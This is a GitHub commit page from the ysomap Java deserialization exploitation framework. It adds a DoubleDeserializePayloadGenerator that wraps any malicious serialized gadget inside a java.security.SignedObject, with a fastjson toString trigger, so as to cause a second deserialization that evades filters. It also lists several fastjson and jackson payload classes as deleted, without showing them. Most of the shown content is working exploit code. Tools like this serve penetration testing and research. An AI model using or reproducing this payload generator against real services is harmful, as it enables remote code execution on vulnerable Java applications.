-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
12 changed files
with
147 additions
and
639 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
24 changes: 24 additions & 0 deletions
24
core/src/main/java/ysomap/bullets/objects/ReturnObjectBullet.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
package ysomap.bullets.objects; | ||
|
||
import ysomap.bullets.AbstractBullet; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.common.annotation.NotNull; | ||
import ysomap.common.annotation.Require; | ||
|
||
public class ReturnObjectBullet extends AbstractBullet<Object> { | ||
|
||
@NotNull | ||
@Require(name = "object", detail = "") | ||
public Object obj; | ||
|
||
@Override | ||
public Object getObject() throws Exception { | ||
return obj; | ||
} | ||
|
||
public static Bullet<Object> newInstance(Object... args) throws Exception { | ||
ReturnObjectBullet bullet = new ReturnObjectBullet(); | ||
bullet.set("obj", args[0]); | ||
return bullet; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
72 changes: 72 additions & 0 deletions
72
core/src/main/java/ysomap/exploits/objects/DoubleDeserializePayloadGenerator.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,72 @@ | ||
package ysomap.exploits.objects; | ||
|
||
import com.alibaba.fastjson.JSONObject; | ||
import ysomap.bullets.Bullet; | ||
import ysomap.bullets.objects.ReturnObjectBullet; | ||
import ysomap.common.annotation.*; | ||
import ysomap.common.util.Status; | ||
import ysomap.core.serializer.Serializer; | ||
import ysomap.core.serializer.SerializerFactory; | ||
import ysomap.core.util.PayloadHelper; | ||
import ysomap.core.util.ReflectionHelper; | ||
import ysomap.exploits.AbstractExploit; | ||
import ysomap.payloads.AbstractPayload; | ||
import ysomap.payloads.Payload; | ||
|
||
import java.util.ArrayList; | ||
import java.util.List; | ||
|
||
@Exploits | ||
@Authors({Authors.WH1T3P1G, Authors.whocansee}) | ||
@Require(bullets = {"Any Java Serialization Payload"}, param = false) | ||
@Details("用于二次封装恶意序列化数据,触发二次反序列化") | ||
public class DoubleDeserializePayloadGenerator extends AbstractExploit { | ||
|
||
@NotNull | ||
private Payload payload; | ||
|
||
@Override | ||
public void work() { | ||
Serializer serializer = SerializerFactory.createSerializer("default"); | ||
try { | ||
serializer.setEncoder("base64"); | ||
serializer.setOutputType("console"); | ||
Object obj = payload.getObject(); | ||
Payload signedObjectPayload = new SignedObjectPayload(); | ||
Bullet bullet = signedObjectPayload.getDefaultBullet(obj); | ||
signedObjectPayload.setBullet(bullet); | ||
SerializerFactory.serialize("ysomap", serializer, signedObjectPayload); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
|
||
@Override | ||
public void stop() { | ||
status = Status.STOPPED; | ||
} | ||
|
||
static class SignedObjectPayload extends AbstractPayload<Object> { | ||
|
||
@Override | ||
public Bullet getDefaultBullet(Object... args) throws Exception { | ||
return ReturnObjectBullet.newInstance(args[0]); | ||
} | ||
|
||
@Override | ||
public Object pack(Object obj) throws Exception { | ||
Serializer serializer = SerializerFactory.createSerializer("default"); | ||
byte[] bytes = (byte[]) serializer.serialize(obj); | ||
|
||
Object signedObj = ReflectionHelper.createWithoutConstructor("java.security.SignedObject"); | ||
ReflectionHelper.setFieldValue(signedObj, "content", bytes); | ||
ReflectionHelper.setFieldValue(signedObj, "signature", new byte[0]); | ||
JSONObject map = new JSONObject(); // also JSONArray | ||
map.put("ysomap", signedObj); | ||
List<Object> arrays = new ArrayList<>(); | ||
arrays.add(signedObj); | ||
arrays.add(PayloadHelper.makeReadObjectToStringTrigger(map)); | ||
return arrays; | ||
} | ||
} | ||
} |
73 changes: 0 additions & 73 deletions
73
.../main/java/ysomap/payloads/java/fastjson/BadAttributeValueExpExceptionWithJsonObject.java
This file was deleted.
Oops, something went wrong.
82 changes: 0 additions & 82 deletions
82
core/src/main/java/ysomap/payloads/java/fastjson/SpringAOPXStringWithJsonObject.java
This file was deleted.
Oops, something went wrong.
77 changes: 0 additions & 77 deletions
77
.../src/main/java/ysomap/payloads/java/jackson/BadAttributeValueExpExceptionWithJackson.java
This file was deleted.
Oops, something went wrong.
Oops, something went wrong.